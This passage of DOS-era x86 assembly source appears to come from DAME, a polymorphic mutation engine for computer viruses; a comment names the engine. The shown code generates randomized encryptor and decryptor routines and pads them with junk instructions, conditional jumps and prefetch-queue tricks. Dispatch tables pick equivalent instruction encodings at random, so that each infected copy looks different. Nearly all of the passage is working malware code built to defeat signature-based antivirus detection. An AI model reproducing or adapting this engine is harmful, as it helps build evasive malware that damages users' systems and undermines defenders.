  861. playencrypt:                                    ; Update the encryption value
  862.         mov     di,_decryptpointer
  863.         call    twogarble
  864.  
  865.         mov     al,_encrypt_reg                 ; Encryption register used?
  866.         and     ax,7
  867.         cmp     al,4
  868.         jz      swap_decrypt_encrypt
  869.  
  870.         call    get_rand_bx                     ; 75% chance of altering the
  871.         cmp     bl,0c0                          ; encryption value register
  872.         ja      swap_decrypt_encrypt            ; Exit if nothing is to occur
  873.  
  874.         call    choose_routine                  ; Select a method of updating
  875.         call    handle_jmp_table_nogarble       ; Encode the decryption
  876.         call    swap_decrypt_encrypt            ; Now work on encryption
  877. finish_encryption:
  878.         push    cx                              ; Save current bitmask
  879.         and     cl,not 7                        ; Turn off garbling/mo routines
  880.         call    [bx+si+1]                       ; Encode the same routine for
  881.                                                 ; the encryption
  882.         pop     cx                              ; Restore the bitmask
  883.         mov     _encryptpointer,di
  884.         ret
  885.  
  886. choose_routine:
  887.         mov     _nest,0                         ; Reset recursion counter
  888.         call    one_in_two                      ; 50% chance of using an
  889.         js      get_used_register               ; already used register as
  890.                                                 ; an update value
  891.         call    get_rand_bx                     ; Get random number as the
  892.                                                 ; update value
  893.         mov     si,offset oneregtable           ; Choose the update routine
  894.                                                 ; from this table
  895.         jmp     short continue_choose_routine   ; Saves one byte over
  896.                                                 ; xchg dx,bx / ret
  897. get_used_register:
  898. ; This routine returns, in DX, a register whose value is known at the current
  899. ; point in the encryption/decryption routines. SI is loaded with the offset
  900. ; of the appropriate table. The routine destroys BX.
  901.         call    get_rand_bx                     ; Get a random number
  902.         and     bx,7                            ; Convert to a register (0-7)
  903.         cmp     bl,_sp                          ; Make sure it isn't SP; that
  904.         jz      get_used_register               ; is always considered used
  905.         cmp     byte ptr [bx+_used_regs],0      ; Check if the register is
  906.         jz      get_used_register               ; currently in use
  907.         mov     si,offset tworegtable           ; Use routine from this table
  908. continue_choose_routine:
  909.         xchg    dx,bx                           ; Move value to dx
  910.         ret                                     ; and quit
  911.  
  912. swap_decrypt_encrypt:
  913.         mov     _decryptpointer,di              ; save current pointer
  914.         push    ax
  915.         mov     al,_maxnest                     ; disable garbling
  916.         mov     _nest,al
  917.         pop     ax
  918.         mov     di,_encryptpointer              ; replace with encryption
  919.         ret                                     ; pointer
  920.  
  921. go_next:
  922. ; Upon entry, SI points to a dispatch table.  This routine calculates the
  923. ; address of the next table and sets SI to that value.
  924.         push    ax
  925.         lodsb                                   ; Get mask byte
  926.         cbw                                     ; Convert it to a word
  927.         add     si,ax                           ; Add it to the current 
  928.         pop     ax                              ; location (table+1)
  929.         inc     si                              ; Add two more to adjust
  930.         inc     si                              ; for the mask
  931.         ret                                     ; (mask = size - 3)
  932.  
  933. clear_used_regs:
  934.         xor     ax,ax                           ; Mark registers unused
  935.         mov     di,offset _used_regs            ; Alter _used_regs table
  936.         stosw
  937.         stosw
  938.         inc     ax                              ; Mark SP used
  939.         stosw
  940.         dec     ax
  941.         stosw
  942.         ret
  943.  
  944. get_another:                                    ; Get an unused register
  945.         call    get_rand                        ; Get a random number
  946.         and     ax,7                            ; convert to a register
  947. ;        cmp     al,_sp
  948. ;        jz      get_another
  949.         mov     si,ax
  950.         cmp     [si+_used_regs],0               ; Check if used already
  951.         jnz     get_another                     ; Yes, try again
  952.         inc     [si+_used_regs]                 ; Otherwise mark the register
  953.         ret                                     ; used and return
  954.  
  955. clear_reg_dx:                                   ; Mark the register in DX
  956.         xchg    ax,dx                           ; unused
  957. clear_reg:                                      ; Mark the register in AX
  958.         mov     si,ax                           ; unused
  959.         mov     byte ptr [si+_used_regs],0
  960.         ret
  961.  
  962. free_regs:
  963. ; This checks for any free registers and sets the zero flag if there are.
  964.         push    ax cx di
  965.         mov     di,offset _used_regs
  966.         mov     cx,8
  967.         xor     ax,ax
  968.         repne   scasb
  969.         pop     di cx ax
  970.         ret
  971.  
  972. one_in_two:                                     ; Gives 50% chance of
  973.         push    ax                              ; something happening
  974.         call    get_rand                        ; Get a random number
  975.         or      ax,ax                           ; Sign flag set 50% of the
  976.         pop     ax                              ; time
  977.         ret
  978.  
  979. get_rand_bx:                                    ; Get a random number to BX
  980.         xchg    ax,bx                           ; Save AX
  981.         call    get_rand                        ; Get a random number
  982.         xchg    ax,bx                           ; Restore AX, set BX to the
  983. return:                                         ; random number
  984.         ret
  985.  
  986. garble_onebyte:
  987. ; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc.
  988.         xchg    ax,dx                           ; Get the random number in AX
  989.         and     al,7                            ; Convert to table offset
  990.         mov     bx,offset onebytetable          ; Table of random bytes
  991.         xlat                                    ; Get the byte
  992.         stosb                                   ; and encode it
  993.         ret
  994.  
  995. garble_jmpcond:
  996. ; Encode a random short conditional or unconditional JMP instruction.  The
  997. ; target of the JMP is an unspecified distance away.  Valid instructions
  998. ; take up the space between the JMP and the target.
  999.         xchg    ax,dx                           ; Random number to AX
  1000.         and     ax,0f                           ; Convert to a random JMP
  1001.         or      al,70                           ; instruction
  1002.         stosw                                   ; Encode it
  1003.         push    di                              ; Save current location
  1004.         call    garble  ; May need to check if too large
  1005.         mov     ax,di                           ; Get current location
  1006.         pop     bx                              ; Restore pointer to the JMP
  1007.         sub     ax,bx                           ; Calculate the offset
  1008.         mov     byte ptr [bx-1], al             ; Put it in the conditional
  1009.         ret                                     ; JMP
  1010.  
  1011. clear_PIQ:
  1012. ; Encode instructions that clear the prefetch instruction queue.
  1013. ;   CALL/POP
  1014. ;   JMP SHORT
  1015. ;   JMP
  1016.         call    get_rand                        ; Get a random number
  1017.         mov     dl,ah                           ; Put high byte in DL
  1018.         and     dx,0f                           ; Adjust so JMP target is
  1019.                                                 ; between 0 and 15 bytes away
  1020.         and     ax,3                            ; Mask AX
  1021.         jz      clear_PIQ_call_pop              ; 1/4 chance of CALL/POP
  1022.         dec     ax
  1023.         jz      clear_PIQ_jmp_short             ; 1/4 chance of JMP SHORT
  1024.  
  1025.         mov     al,0e9                          ; Otherwise do a straight JMP
  1026. clear_PIQ_word:                                 ; Handler if offset is a word
  1027.         stosb                                   ; Store the JMP or CALL
  1028.         xchg    ax,dx                           ; Offset to AX
  1029.         stosw                                   ; Encode it
  1030. clear_PIQ_byte:                                 ; Encode AX random bytes
  1031.         push    cx
  1032.         xchg    ax,cx                           ; Offset to CX
  1033.         jcxz    random_encode_done              ; Exit if no bytes in between
  1034. random_encode_loop:
  1035.         call    get_rand                        ; Get a random number
  1036.         stosb                                   ; Store it and then do this
  1037.         loop    random_encode_loop              ; again
  1038. random_encode_done:
  1039.         pop     cx
  1040.         ret
  1041.  
  1042. clear_PIQ_jmp_short:
  1043.         mov     al,0ebh                         ; JMP SHORT
  1044.         stosb                                   ; Encode the instruction
  1045.         xchg    ax,dx
  1046.         stosb                                   ; and the offset
  1047.         jmp     short clear_PIQ_byte            ; Encode intervening bytes
  1048.  
  1049. clear_PIQ_call_pop:
  1050.         mov     al,0e8                          ; CALL
  1051.         call    clear_PIQ_word                  ; Encode instruction, garbage
  1052.         call    garble                          ; Garble some and then find
  1053.         call    get_another                     ; an unused register
  1054.         call    clear_reg                       ; keep it unused
  1055.         jmp     short _pop                      ; and POP into it
  1056.  
  1057. twogarble:                                      ; Garble twice
  1058.         mov     _nest,0                         ; Reset nest count
  1059.         call    garble                          ; Garble once
  1060. garble: ; ax, dx preserved                      ; Garble
  1061.         call    free_regs                       ; Are there any unused
  1062.         jne     return                          ; registers?
  1063.  
  1064.         test    cl,2                            ; Is garbling enabled?
  1065.         jz      return                          ; Exit if not
  1066.  
  1067.         push    ax dx si
  1068.  
  1069.         call    get_rand                        ; Get a random number into
  1070.         xchg    ax,dx                           ; DX
  1071.         call    get_another                     ; And a random reg into AX
  1072.         call    clear_reg                       ; Don't mark register as used
  1073.  
  1074.         mov     si,offset garbletable           ; Garble away
  1075.         jmp     short handle_jmp_table_nopush
  1076.  
  1077. handle_jmp_table: ; ax,dx preserved             ; This is the master dispatch
  1078.         call    garble                          ; Garble before encoding
  1079. handle_jmp_table_nogarble:                      ; Encode it
  1080.         push    ax dx si
  1081. handle_jmp_table_nopush:
  1082.         push    ax
  1083.         lodsb                                   ; Get table mask
  1084.         cbw                                     ; Clear high byte
  1085.         call    get_rand_bx                     ; Get random number
  1086.         and     bx,ax                           ; Get random routine
  1087.         pop     ax
  1088.  
  1089.         test    cl,4                            ; Short decryptor?
  1090.         jnz     doshort                         ; If so, use first routine
  1091.  
  1092.         inc     _nest                           ; Update nest count
  1093.         push    ax
  1094.         mov     al,_maxnest
  1095.         cmp     _nest,al                        ; Are we too far?
  1096.         pop     ax
  1097.         jb      not_max_nest                    ; If so, then use the first
  1098. doshort:xor     bx,bx                           ; routine in the table
  1099. not_max_nest:
  1100.         push    bx                              ; Save routine to be called
  1101.         call    [bx+si]                         ; Call the routine
  1102.         pop     bx si dx ax
  1103.         ret
  1104.  
  1105. garble_tworeg:
  1106. ; Garble unused register with the contents of a random register.
  1107.         mov     si,offset tworegtable           ; Use reg_reg table
  1108.         and     dx,7                            ; Convert to random register #
  1109.         jmp     short handle_jmp_table_nogarble ; Garble away
  1110.  
  1111. garble_onereg:
  1112. ; Garble unused register with a random value (DX).
  1113.         mov     si,offset oneregtable           ; Point to the table
  1114.         jmp     short handle_jmp_table_nogarble ; and garble
  1115.  
  1116. _push:                                          ; Encode a PUSH
  1117.         or      al,al                           ; PUSHing memory register?
  1118.         js      _push_mem
  1119.         call    one_in_two                      ; 1/2 chance of two-byte PUSH
  1120.         js      _push_mem
  1121.         add     al,50                           ; otherwise it's really easy
  1122.         stosb
  1123.         ret
  1124. _push_mem:
  1125.         add     ax,0ff30
  1126.         jmp     short go_mod_xxx_rm1
  1127.  
  1128. _pop:                                           ; Encode a POP
  1129.         or      al,al                           ; POPing a memory register?
  1130.         js      _pop_mem
  1131.         call    one_in_two                      ; 1/2 chance of two-byte POP
  1132.         js      _pop_mem
  1133.         add     al,58
  1134.         stosb
  1135.         ret
  1136. _pop_mem:
  1137.         mov     ah,8f
  1138. go_mod_xxx_rm1:
  1139.         jmp     mod_xxx_rm
  1140.  
  1141. mov_reg_xxxx: ; ax and dx preserved
  1142.         mov     si,offset mov_reg_xxxx_table
  1143. go_handle_jmp_table1:
  1144.         jmp     short handle_jmp_table
  1145.  
  1146. _mov_reg_xxxx_mov_add:
  1147.         call    get_rand_bx                     ; Get a random number
  1148.         push    bx                              ; Save it
  1149.         sub     dx,bx                           ; Adjust MOV amount
  1150.         call    mov_reg_xxxx                    ; MOV to register
  1151.         pop     dx                              ; Get random number
  1152.         jmp     short go_add_reg_xxxx           ; Add it to the register
  1153.  
  1154. _mov_reg_xxxx_mov_al_ah:
  1155.         cmp     al,_sp
  1156.         jae     _mov_reg_xxxx
  1157.         push    ax dx
  1158.         call    _mov_al_xx
  1159.         pop     dx ax
  1160.         xchg    dh,dl
  1161.         jmp     short _mov_ah_xx
  1162.  
  1163. _mov_reg_xxxx_mov_xor:
  1164.         call    get_rand_bx
  1165.         push    bx
  1166.         xor     dx,bx
  1167.         call    mov_reg_xxxx
  1168.         pop     dx
  1169.         jmp     xor_reg_xxxx
  1170.  
  1171. _mov_reg_xxxx_xor_add:
  1172.         push    dx
  1173.         mov     dx,ax
  1174.         call    xor_reg_reg
  1175.         pop     dx
  1176. go_add_reg_xxxx:
  1177.         jmp     add_reg_xxxx
  1178.  
  1179. _mov_reg_xxxx_mov_rol:
  1180.         ror     dx,1
  1181.         call    mov_reg_xxxx
  1182.         jmp     short _rol
  1183.  
  1184. _mov_reg_xxxx_mov_ror:
  1185.         rol     dx,1
  1186.         call    mov_reg_xxxx
  1187. _ror:
  1188.         or      al,8
  1189. _rol:
  1190.         mov     ah,0d1
  1191.         jmp     short go_mod_xxx_rm1
  1192.  
  1193.  
  1194. _mov_reg_xxxx:
  1195.         call    one_in_two                      ; 1/2 chance of a four byte MOV
  1196.         js      _mov_reg_xxxx1
  1197.  
  1198.         add     al,0B8
  1199.         stosb
  1200.         xchg    ax,dx
  1201.         stosw
  1202.         ret
  1203. _mov_reg_xxxx1:                                 ; Do the four byte register MOV
  1204.         mov     ah,0c7
  1205.         jmp     mod_xxx_rm_stosw
  1206.  
  1207. mov_ah_xx:
  1208. _mov_ah_xx:
  1209.         add     al,04
  1210. mov_al_xx:
  1211. _mov_al_xx:
  1212.         add     al,0B0
  1213.         mov     ah,dl
  1214.         stosw
  1215.         ret
  1216.  
  1217. mov_reg_reg: ; ax, dx preserved
  1218.         mov     si,offset mov_reg_reg_table
  1219.         jmp     short go_handle_jmp_table1
  1220.  
  1221. _mov_reg_reg_push_pop:
  1222.         push    ax
  1223.         xchg    dx,ax
  1224.         call    _push                           ; PUSH REG2
  1225.         pop     ax
  1226.         jmp     _pop                            ; POP  REG1
  1227.  
  1228. _mov_reg_reg:
  1229.         mov     ah,08Bh
  1230.         jmp     short _mod_reg_rm_direction
  1231.  
  1232. mov_xchg_reg_reg:
  1233.         call    one_in_two
  1234.         js      mov_reg_reg
  1235.  
  1236. xchg_reg_reg:  ; ax, dx preserved
  1237.         mov     si,offset xchg_reg_reg_table
  1238. go_handle_jmp_table2:
  1239.         jmp     short go_handle_jmp_table1
  1240.  
  1241. _xchg_reg_reg_push_pop:
  1242.         push    dx ax dx
  1243.         call    _push                           ; PUSH REG1
  1244.         pop     ax
  1245.         call    _push                           ; PUSH REG2
  1246.         pop     ax
  1247.         call    _pop                            ; POP  REG1
  1248.         pop     ax
  1249.         jmp     _pop                            ; POP  REG2
  1250.  
  1251. _xchg_reg_reg_3rd_reg:
  1252.         call    free_regs
  1253.         jne     _xchg_reg_reg
  1254.  
  1255.         push    dx ax
  1256.         call    get_another                     ; Get free register (reg3)
  1257.         call    mov_xchg_reg_reg                ; MOV/XCHG REG3,REG2
  1258.         pop     dx
  1259.         call    xchg_reg_reg                    ; XCHG REG3,REG1
  1260.         pop     dx
  1261.         xchg    ax,dx
  1262.         call    mov_xchg_reg_reg                ; MOV/XCHG REG2,REG3
  1263.         jmp     clear_reg_dx
  1264.  
  1265. _xchg_reg_reg:
  1266.         or      al,al
  1267.         js      __xchg_reg_reg
  1268.  
  1269.         cmp     al,dl
  1270.         jg      _xchg_reg_reg_skip
  1271.         xchg    al,dl
  1272. _xchg_reg_reg_skip:
  1273.         or      dl,dl
  1274.         jz      _xchg_ax_reg
  1275. __xchg_reg_reg:
  1276.         xchg    al,dl
  1277.         mov     ah,87
  1278.         jmp     short _mod_reg_rm
  1279. _xchg_ax_reg:
  1280.         add     al,90
  1281.         stosb
  1282.         ret
  1283.  
  1284. xor_reg_xxxx_xor_xor:
  1285.         call    get_rand_bx
  1286.         push    bx
  1287.         xor     dx,bx
  1288.         call    xor_reg_xxxx
  1289.         pop     dx
  1290.         jmp     short xor_reg_xxxx
  1291.  
  1292. xor_reg_xxxx:
  1293.         mov     si,offset xor_reg_xxxx_table
  1294.         jmp     short go_handle_jmp_table2
  1295.  
  1296. _xor_reg_xxxx:
  1297.         or      al,030
  1298.         jmp     _81h_
  1299.  
  1300. xor_reg_reg:
  1301.         mov     si,offset xor_reg_reg_table
  1302. go_handle_jmp_table3:
  1303.         jmp     short go_handle_jmp_table2
  1304.  
  1305. _xor_reg_reg:
  1306.         mov     ah,33
  1307. ; The following is the master encoder.  It handles most traditional encodings
  1308. ; with mod/reg/rm or mod/xxx/rm.
  1309. _mod_reg_rm_direction:
  1310.         or      al,al                           ; If al is a memory pointer,
  1311.         js      dodirection                     ; then we need to swap regs
  1312.         or      dl,dl                           ; If dl is a memory pointer,
  1313.         js      _mod_reg_rm                     ; we cannot swap registers
  1314.         call    one_in_two                      ; Otherwise there is a 50%
  1315.         js      _mod_reg_rm                     ; chance of swapping registers
  1316. dodirection:
  1317.         xchg    al,dl                           ; Swap the registers and adjust
  1318.         sub     ah,2                            ; the opcode to compensate
  1319. _mod_reg_rm:
  1320.         shl     al,1                            ; Move al to the reg field
  1321.         shl     al,1
  1322.         shl     al,1
  1323.         or      al,dl                           ; Move dl to the rm field
  1324. mod_xxx_rm:
  1325.         or      al,al                           ; Is al a memory pointer?
  1326.         js      no_no_reg                       ; If so, skip next line
  1327.  
  1328.         or      al,0c0                          ; Mark register in mod field
  1329. no_no_reg:
  1330.         xchg    ah,al
  1331.  
  1332.         test    ah,40
  1333.         jnz     exit_mod_reg_rm
  1334.  
  1335.         test    cl,1
  1336.         jnz     continue_mod_xxx_rm
  1337.  
  1338.         push    ax
  1339.         mov     al,2e
  1340.         stosb
  1341.         pop     ax
  1342. continue_mod_xxx_rm:
  1343.         stosw
  1344.  
  1345.         mov     si,cs:[bp]                      ; Store the patch location
  1346.         add     si,si                           ; for the memory in the
  1347.         mov     cs:[si+bp+2],di                 ; appropriate table for later
  1348.         inc     word ptr cs:[bp]                ; adjustment
  1349.                                                 ; cs: overrides needed for bp
  1350.         mov     al,_relocate_amt
  1351.         cbw
  1352. exit_mod_reg_rm:
  1353.         stosw
  1354.         ret
  1355.  
  1356. add_reg_reg:
  1357.         mov     si,offset add_reg_reg_table
  1358.         jmp     short go_handle_jmp_table3
  1359.  
  1360. _add_reg_reg:
  1361.         mov     ah,3
  1362.         jmp     short _mod_reg_rm_direction
  1363.  
  1364. sub_reg_reg:
  1365.         mov     si,offset sub_reg_reg_table
  1366. go_handle_jmp_table4:
  1367.         jmp     short go_handle_jmp_table3
  1368.  
  1369. _sub_reg_reg:
  1370.         mov     ah,2bh
  1371.         jmp     short _mod_reg_rm_direction
  1372.  
  1373. _add_reg_xxxx_inc_add:
  1374.         call    inc_reg
  1375.         dec     dx
  1376.         jmp     short add_reg_xxxx
  1377.  
  1378. _add_reg_xxxx_dec_add:
  1379.         call    dec_reg
  1380.         inc     dx
  1381.         jmp     short add_reg_xxxx
  1382.  
  1383. _add_reg_xxxx_add_add:
  1384.         call    get_rand_bx
  1385.         push    bx
  1386.         sub     dx,bx
  1387.         call    add_reg_xxxx
  1388.         pop     dx
  1389.         jmp     short add_reg_xxxx
  1390.  
  1391. add_reg_xxxx1:
  1392.         neg     dx
  1393. add_reg_xxxx:
  1394.         or      dx,dx
  1395.         jnz     cont
  1396. return1:
  1397.         ret
  1398. cont:
  1399.         mov     si,offset add_reg_xxxx_table
  1400.         jmp     go_handle_jmp_table4
  1401.  
  1402. _add_reg_xxxx:
  1403.         or      al,al
  1404.         jz      _add_ax_xxxx
  1405. _81h_:
  1406.         or      al,al
  1407.         js      __81h
  1408.         add     al,0c0
  1409. __81h:
  1410.         mov     ah,81
  1411. mod_xxx_rm_stosw:
  1412.         call    mod_xxx_rm
  1413. _encode_dx_:
  1414.         xchg    ax,dx
  1415.         stosw
  1416.         ret
  1417. _add_ax_xxxx:
  1418.         mov     al,5
  1419. _encode_al_dx_:
  1420.         stosb
  1421.         jmp     short _encode_dx_
  1422.  
  1423. sub_reg_xxxx1:
  1424.         neg     dx
  1425. sub_reg_xxxx:
  1426. _sub_reg_xxxx:
  1427.         or      dx,dx                           ; SUBtracting anything?
  1428.         jz      return1                         ; If not, we are done
  1429.  
  1430.         or      al,al                           ; SUB AX, XXXX?
  1431.         jz      _sub_ax_xxxx                    ; If so, we encode in 3 bytes
  1432.         add     al,028                          ; Otherwise do the standard
  1433.         jmp     short _81h_                     ; mod/reg/rm deal
  1434. _sub_ax_xxxx:
  1435.         mov     al,2dh
  1436.         jmp     short _encode_al_dx_
  1437.  
  1438. dec_reg:
  1439.         push    ax
  1440.         add     al,8
  1441.         jmp     short _dec_inc_reg
  1442. inc_reg:
  1443.         push    ax
  1444. _dec_inc_reg:
  1445.         or      al,al
  1446.         jns     _norm_inc
  1447.         mov     ah,0ff
  1448.         call    mod_xxx_rm
  1449.         pop     ax
  1450.         ret
  1451. _norm_inc:
  1452.         add     al,40
  1453.         stosb
  1454.         pop     ax
  1455.         ret
  1456.  
  1457. _mov_reg_reg_3rd_reg:
  1458.         mov     bx,offset mov_reg_reg
  1459.         mov     si,offset mov_xchg_reg_reg
  1460.         or      al,al                           ; Is reg1 a pointer register?
  1461.         js      reg_to_reg1                     ; If so, we cannot use XCHG
  1462.         jmp     short reg_to_reg
  1463.  
  1464. xor_reg_reg_reg_reg:
  1465.         mov     bx,offset _xor_reg_reg
  1466.         jmp     short reg_to_reg1
  1467. add_reg_reg_reg_reg:
  1468.         mov     bx,offset _add_reg_reg
  1469.         jmp     short reg_to_reg1
  1470. sub_reg_reg_reg_reg:
  1471.         mov     bx,offset _sub_reg_reg
  1472. reg_to_reg1:
  1473.         mov     si,bx
  1474. reg_to_reg:
  1475.         call    free_regs
  1476.         jne     no_free_regs
  1477.  
  1478.         push    ax si
  1479.         call    get_another                     ; Get unused register (reg3)
  1480.         call    mov_reg_reg                     ; MOV REG3,REG2
  1481.         pop     si dx
  1482.         xchg    ax,dx
  1483. finish_reg_clear_dx:
  1484.         push    dx
  1485.         call    si
  1486.         pop     ax
  1487.         jmp     clear_reg
  1488.  
  1489. _xor_reg_xxxx_reg_reg:
  1490.         mov     bx,offset xor_reg_xxxx
  1491.         mov     si,offset xor_reg_reg
  1492. xxxx_to_reg:
  1493.         call    free_regs
  1494.         jne     no_free_regs
  1495.  
  1496.         push    ax si
  1497.         call    get_another                     ; Get unused register (reg3)
  1498.         call    mov_reg_xxxx                    ; MOV REG3,XXXX
  1499.         xchg    ax,dx
  1500.         pop     si ax
  1501.  
  1502.         jmp     short finish_reg_clear_dx
  1503. no_free_regs:
  1504.         jmp     bx
  1505.  
  1506. _add_reg_xxxx_reg_reg:
  1507.         mov     bx,offset add_reg_xxxx
  1508.         mov     si,offset add_reg_reg
  1509.         jmp     short xxxx_to_reg
  1510.  
  1511. _mov_reg_xxxx_reg_reg:
  1512.         mov     bx,offset mov_reg_xxxx
  1513.         mov     si,offset mov_xchg_reg_reg
  1514.         jmp     short xxxx_to_reg
  1515.  
  1516. ; The following are a collection of tables used by the various encoding
  1517. ; routines to determine which routine will be used.  The first line in each
  1518. ; table holds the mask for the encoding procedure.  The second line holds the
  1519. ; default routine which is used when nesting is disabled.  The number of
  1520. ; entries in each table must be a power of two.  To adjust the probability of
  1521. ; the occurence of any particular routine, simply vary the number of times it
  1522. ; appears in the table relative to the other routines.
  1523.  
  1524. ; The following table governs garbling.
  1525. garbletable:
  1526.         db      garbletableend - $ - 3
  1527.         dw      offset return
  1528.         dw      offset return
  1529.         dw      offset return
  1530.         dw      offset return
  1531.         dw      offset return
  1532.  
  1533.         dw      offset garble_tworeg
  1534.         dw      offset garble_tworeg
  1535.         dw      offset garble_tworeg
  1536.         dw      offset garble_onereg
  1537.         dw      offset garble_onereg
  1538.         dw      offset garble_onereg
  1539.  
  1540.         dw      offset garble_onebyte
  1541.         dw      offset garble_onebyte
  1542.         dw      offset garble_onebyte
  1543.         dw      offset garble_jmpcond
  1544.  
  1545.         dw      offset clear_PIQ
  1546. garbletableend:
  1547.  
  1548. ; This table is used by the one byte garbler.  It is intuitively obvious.
  1549. onebytetable:
  1550.         clc
  1551.         cmc
  1552.         stc
  1553.         cld
  1554.         std
  1555.         sti
  1556.         int     3
  1557.         lock
  1558.  
  1559. ; This table is used by the one register garbler.  When each of the functions
  1560. ; in the table is called, ax holds a random, unused register, and dx holds a
  1561. ; random number.
  1562. oneregtable:
  1563.         db      oneregtableend - $ - 3
  1564.         dw      offset xor_reg_xxxx
  1565.         dw      offset mov_reg_xxxx
  1566.         dw      offset sub_reg_xxxx
  1567.         dw      offset add_reg_xxxx
  1568.         dw      offset dec_reg
  1569.         dw      offset inc_reg
  1570.         dw      offset _ror
  1571.         dw      offset _rol
  1572. oneregtableend:
  1573.  
  1574. ; This table is used to determine the decryption method
  1575. oneregtable1:    ; dx = random #
  1576.         db      oneregtable1end - $ - 3
  1577.         dw      offset xor_reg_xxxx
  1578.         dw      offset sub_reg_xxxx
  1579.         dw      offset add_reg_xxxx
  1580.         dw      offset add_reg_xxxx
  1581.         dw      offset dec_reg
  1582.         dw      offset inc_reg
  1583.         dw      offset _ror
  1584.         dw      offset _rol
  1585. oneregtable1end:
  1586.  
  1587. ; This table is used to determine the encryption method
  1588. oneregtable2:    ; dx = random #
  1589.         db      oneregtable2end - $ - 3
  1590.         dw      offset xor_reg_xxxx
  1591.         dw      offset add_reg_xxxx
  1592.         dw      offset sub_reg_xxxx
  1593.         dw      offset sub_reg_xxxx
  1594.         dw      offset inc_reg
  1595.         dw      offset dec_reg
  1596.         dw      offset _rol
  1597.         dw      offset _ror
  1598. oneregtable2end:
  1599.  
  1600. tworegtable:    ; dl = any register
  1601.         db      tworegtableend - $ - 3
  1602.         dw      offset xor_reg_reg
  1603.         dw      offset mov_reg_reg
  1604.         dw      offset sub_reg_reg
  1605.         dw      offset add_reg_reg
  1606. tworegtableend:
  1607.  
  1608. tworegtable1:    ; dl = any register
  1609.         db      tworegtable1end - $ - 3
  1610.         dw      offset xor_reg_reg
  1611.         dw      offset xor_reg_reg
  1612.         dw      offset sub_reg_reg
  1613.         dw      offset add_reg_reg
  1614. tworegtable1end:
  1615.  
  1616. tworegtable2:    ; dl = any register
  1617.         db      tworegtable2end - $ - 3
  1618.         dw      offset xor_reg_reg
  1619.         dw      offset xor_reg_reg
  1620.         dw      offset add_reg_reg
  1621.         dw      offset sub_reg_reg
  1622. tworegtable2end:
  1623.  
  1624. mov_reg_xxxx_table:
  1625.         db      mov_reg_xxxx_table_end - $ - 3
  1626.         dw      offset _mov_reg_xxxx
  1627.         dw      offset _mov_reg_xxxx_reg_reg
  1628.         dw      offset _mov_reg_xxxx_mov_add
  1629.         dw      offset _mov_reg_xxxx_mov_al_ah
  1630.         dw      offset _mov_reg_xxxx_mov_xor
  1631.         dw      offset _mov_reg_xxxx_xor_add
  1632.         dw      offset _mov_reg_xxxx_mov_rol
  1633.         dw      offset _mov_reg_xxxx_mov_ror
  1634.  
  1635. mov_reg_xxxx_table_end:
  1636.  
  1637. mov_reg_reg_table:
  1638.         db      mov_reg_reg_table_end - $ - 3
  1639.         dw      offset _mov_reg_reg
  1640.         dw      offset _mov_reg_reg
  1641.         dw      offset _mov_reg_reg_3rd_reg
  1642.         dw      offset _mov_reg_reg_push_pop
  1643. mov_reg_reg_table_end:
  1644.  
  1645. xchg_reg_reg_table:
  1646.         db      xchg_reg_reg_table_end - $ - 3
  1647.         dw      offset _xchg_reg_reg
  1648.         dw      offset _xchg_reg_reg
  1649.         dw      offset _xchg_reg_reg_push_pop
  1650.         dw      offset _xchg_reg_reg_3rd_reg
  1651. xchg_reg_reg_table_end:
  1652.  
  1653. xor_reg_xxxx_table:
  1654.         db      xor_reg_xxxx_table_end - $ - 3
  1655.         dw      offset _xor_reg_xxxx
  1656.         dw      offset _xor_reg_xxxx
  1657.         dw      offset _xor_reg_xxxx_reg_reg
  1658.         dw      offset xor_reg_xxxx_xor_xor
  1659. xor_reg_xxxx_table_end:
  1660.  
  1661. xor_reg_reg_table:
  1662.         db      xor_reg_reg_table_end - $ - 3
  1663.         dw      offset _xor_reg_reg
  1664.         dw      offset xor_reg_reg_reg_reg
  1665. xor_reg_reg_table_end:
  1666.  
  1667. add_reg_reg_table:
  1668.         db      add_reg_reg_table_end - $ - 3
  1669.         dw      offset _add_reg_reg
  1670.         dw      offset add_reg_reg_reg_reg
  1671. add_reg_reg_table_end:
  1672.  
  1673. sub_reg_reg_table:
  1674.         db      sub_reg_reg_table_end - $ - 3
  1675.         dw      offset _sub_reg_reg
  1676.         dw      offset sub_reg_reg_reg_reg
  1677. sub_reg_reg_table_end:
  1678.  
  1679. add_reg_xxxx_table:
  1680.         db      add_reg_xxxx_table_end - $ - 3
  1681.         dw      offset _add_reg_xxxx
  1682.         dw      offset _add_reg_xxxx
  1683.         dw      offset _add_reg_xxxx_reg_reg
  1684.         dw      offset sub_reg_xxxx1
  1685.         dw      offset _add_reg_xxxx_inc_add
  1686.         dw      offset _add_reg_xxxx_dec_add
  1687.         dw      offset _add_reg_xxxx_add_add
  1688.         dw      offset _add_reg_xxxx_add_add
  1689.  
  1690. add_reg_xxxx_table_end:
  1691.  
  1692. endif
  1693.  
  1694. if not vars eq 0        ; if (vars != 0)
  1695.  
  1696. ; _nest is needed to prevent the infinite recursion which is possible in a
  1697. ; routine such as the one used by DAME.  If this value goes above the
  1698. ; threshold value (defined as MAXNEST), then no further garbling/obfuscating
  1699. ; will occur.
  1700. _nest                   db      ?
  1701.  
  1702. ; This is used by the routine mod_reg_rm when encoding memory accessing
  1703. ; instructions.  The value in _relocate_amt is later added to the relocation
  1704. ; value to determine the final value of the memory adjustment.  For example,
  1705. ; we initially have, as the encryption instruction:
  1706. ;       add     [bx+0],ax
  1707. ; Let's say _relocate_amt is set to 2.  Now the instruction reads:
  1708. ;       add     [bx+2],ax
  1709. ; Finally, the relocate procedure alters this to:
  1710. ;       add     [bx+202],ax
  1711. ; or whatever the appropriate value is.
  1712. ;
  1713. ; This value is used in double word encryptions.
  1714. _relocate_amt           db      ?
  1715.  
  1716. ; Various memory locations which we must keep track of for calculations:
  1717. _loopstartencrypt       dw      ?
  1718. _loopstartdecrypt       dw      ?
  1719.  
  1720. _encryptpointer         dw      ?
  1721. _decryptpointer         dw      ?
  1722.  
  1723. _decryptpointer2        dw      ?
  1724.  
  1725. _start_encrypt          dw      ?
  1726. _start_decrypt          dw      ?
  1727.                                                         beginclear1:
  1728.  
  1729. ; _used_regs is the register tracker. Each byte corresponds to a register.
  1730. ; AX = 0, CX = 1, DX = 2, etc. Each byte may be either set or zero. If it
  1731. ; is zero, then the register's current value is unimportant to the routine.
  1732. ; If it is any other value, then the routine should not play with the value
  1733. ; contained in the register (at least without saving it first).
  1734. _used_regs              db      8 dup (?) ; 0 = unused
  1735.  
  1736. ; The following four variables contain the addresses in current memory which
  1737. ; contain the patch locations for the memory addressing instructions, i.e.
